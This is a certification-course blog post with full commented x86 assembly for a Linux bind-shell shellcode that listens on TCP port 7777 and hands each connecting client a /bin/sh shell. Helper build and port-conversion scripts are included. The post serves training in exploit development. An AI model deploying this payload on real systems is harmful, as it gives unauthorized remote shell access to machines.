Sunday 9 August 2015

SLAE Assignment #1: Bind Shell TCP Shellcode


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the first exercise requested about writing a bind shell tcp shellcode. Code can be found at my GitHub SLAE repository.


1. BIND SHELL TCP SHELLCODE
___________________________________________________
All comments are on the code:

; Title: Linux x86 Shell Bind TCP port 7777 shellcode (93 bytes)
; Author: Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:
 ; Socket creation and handling with socketcall()
 ; socketcall(int call, unsigned long *args)

 ; 1 - creating socket
 ; int socket(int domain, int type, int protocol)
 ; socketfd = socket(2, 1, 0)

 ; eax = 0x66 = socketcall()
 ; ebx = 0x1 = socket()
 ; ecx = ptr to socket's args

 xor ebx, ebx   ; zero out ebx
 mul ebx    ; implicit operand eax: zero out eax
 mov al, 0x66   ; 0x66 = 102 = socketcall()
 push ebx   ; 3rd arg: socket protocol = 0
 mov bl, 0x1   ; ebx = 1 = socket() function
 push byte 0x1   ; 2nd arg: socket type = 1 (SOCK_STREAM)
 push byte 0x2   ; 1st arg: socket domain = 2 (AF_INET)
 mov ecx, esp   ; copy stack structure's address to ecx (pointer)
 int 0x80   ; eax = socket(AF_INET, SOCK_STREAM, 0)


 ; 2 - binding port
 ; int bind(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr] , socklen_t addrlen)
 ; bind(socketfd, [2, 24862, 0], 16)

 ; eax = 0x66 = socketcall()
 ; ebx = 0x2 = bind()
 ; ecx = ptr to bind's args

 xchg edi, eax   ; save socketfd into edi
 mov al, 0x66   ; 0x66 = 102 = socketcall()
 pop ebx    ; ebx = 2 = bind()
 pop esi    ; esi = 1
 push edx   ; edx = 0 (INADDR_ANY) = host 0.0.0.0
 push word 0x611e  ; sin_port = 24862 = port 7777
 push word bx   ; sin_family = 2 (AF_INET)
 push byte 16   ; addr_len = 16 (structure size)
 push ecx   ; ecx = esp = ptr to args struture
 push edi   ; socketfd. Stack is now [0, 24862, 2], 16, *ptr, socketfd
 mov ecx, esp   ; save esp into ecx, points to socketfd
 int 0x80   ; eax = bind(socketfd, *addr[SYS_BIND, 7777, 0.0.0.0], 16) = 0 (on success)


 ; 3 - listening
 ; int listen(int sockfd, int backlog)
 ; listen(socketfd, 0)

  ; eax = 0x66 = socketcall()
        ; ebx = 0x4 = listen()
 ; ecx = ptr to socketfd

 xor edi, edi   ; from now on we will use edi to push NULLs on stack
 pop edx    ; save socketfd
 push edi   ; 2nd arg: 0X0 = backlog
 push edx   ; 1st arg = socketfd
 mov bl, 0x4   ; ebx = 4 = listen()
 mov ecx, esp   ; ptr to args structure on stack (socketfd, 0)
 mov al, 0x66   ; 0x66 = 102 = socketcall()
 int 0x80   ; listen(socketfd, 0)


 ; 4 - accept
 ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
 ; accept(socketfd, 0, 0)

 ; eax = 0x66 = socketcall()
 ; ebx = 0x5 = accept()
 ; ecx = ptr to socketfd

 push edi   ; 3rd arg: addrlen = 0x0
 push edi   ; 2nd arg: addr = 0x0
 push edx   ; 1st arg: previously saved socketfd
 mov ecx, esp   ; ecx points to socketfd
 mov bl, 0x5   ; ebx = 5 = accept()
 mov al, 0x66   ; 0x66 = 102 = socketcall()
 int 0x80   ; accept(socketfd, 0, 16)


 ; 5 - dup2
 ; int dup2(int oldfd, int newfd)
 ; duplicate our socketfd into fd from 14 to 0  (stdin = 0, stdout = 1, stderror = 2)
 ; stdin/stdout/stderror become the TCP connection

 xchg eax, ebx   ; eax = 5, ebx = accepted_socketfd
 pop ecx    ; ecx = 14

dup_jump:
 mov al, 0x3f   ; eax = 63 = dup2()
 int 0x80   ; dup2(accepted_socketfd, 14)
 dec ecx    ; decrement ecx (newfd)
 jns dup_jump   ; loop until newfd is 0 (= stdin)


 ; 6 - execve /bin/sh
 ; execve(const char *filename, char *const argv [], char *const envp[])
 ; execve(/bin//sh, &/bin//sh, 0)

 push edi
 push dword 0x68732f2f  ; push //sh
 push dword 0x6e69622f  ; push /bin (=/bin//sh)
 mov ebx, esp   ; store ptr to /bin//sh into ebx
 push edi   ; eax = 0X00000000
 mov edx, esp   ; ptr to an empty array
 push ebx   ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh
 mov ecx, esp   ; ecx points to argv
 mov al, 0xb
 int 0x80   ; execve /bin/sh
The shellcode creates a socket, then bind to a port, make it listenining, and accept new connections on it. Once a connection is made, it duplicates file descriptors, mainly 0/1/2 which are stdin/stdout/stderror so these ones becomes the TCP connection itself, and every input/output will go trough the connection. Finally, execve() launch a shell.

Once the asm file is created, I am using a bash script to assemble/link/compile it. I am including it once for the first assignment, but I will not in further blog posts:
# Title: ASM to Shellcode converter
# File: asm2shellcode.sh
# Author: Guillaume Kaddouch
# SLAE-681

 #!/bin/bash
clear

file=$1
steps="5"

if [ -z $file ]; then
        echo "[-] No argument given, exiting."
        exit
fi

extension=`echo $file | grep '.asm'`

if [ ! -z $extension ]; then
        echo "[!] Extension specified, please remove it."
        exit
fi

if [ ! -e $file.asm ]; then
        echo "[-] "$1".asm file does not exist."
        exit
fi

echo '[*] 1/'$steps': Assembling "'$file'.asm" with Nasm ... '
echo "nasm -f elf32 -o "$file".o "$file".asm"
nasm -f elf32 -o $file.o $file.asm
echo ""

if [ -z $file.o ]; then
        echo "[-] Error while assembling, "$file".o not created"
        exit
fi

echo '[+] 2/'$steps': Linking ...'
echo "ld -o "$file" "$file".o"
ld -o $file $file.o
echo ""

if [ -z $file ]; then
        echo "[-] Error while linking, "$file" not created"
        exit
fi

Once we did a great number of times the same steps, it is convenient to automate the process:



It builds the following final C file (shellcode cutted in the screenshot):



Now we can run the compiled file and check if it works:



We can see that the shellcode executes, and is binding to local port 7777, as shown by the netstat command. Now let's try to connect to it:



It works as expected, once connected we are greeted with a shell. Then, to be able to modify easily the local port, without recompiling the shellcode, I have made a quick python script "port_converter.py":
# Title: Port to Shellcode converter
# File: port_converter.py
# Author: Guillaume Kaddouch
# SLAE-681

#!/usr/bin/python

import socket, sys

port = int(sys.argv[1])
network_order = socket.htons(port)
hex_converted = hex(network_order)

hex1 = hex_converted[2:4]
hex2 = hex_converted[4:6]

if hex1 == "":
    hex1 = "00"

if len(hex1) == 1:
    hex1 = "0" + hex1

if hex2 == "":
    hex2 = "00"

if len(hex2) == 1:
    hex2 = "0" + hex2

print "port %s" % str(port)
print "network order = %s" % str(network_order)
print "hexadecimal = %s" % hex_converted
print "shellcode format = \\x%s\\x%s" % (hex2, hex1)
Then we can choose the port we like, to get the shellcode translation for that port:



Then we can modify just two bytes in the shellcode in the C file:



That is all there is about it, we have a working bind tcp shellcode with a configurable local port!



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


No comments:

Post a Comment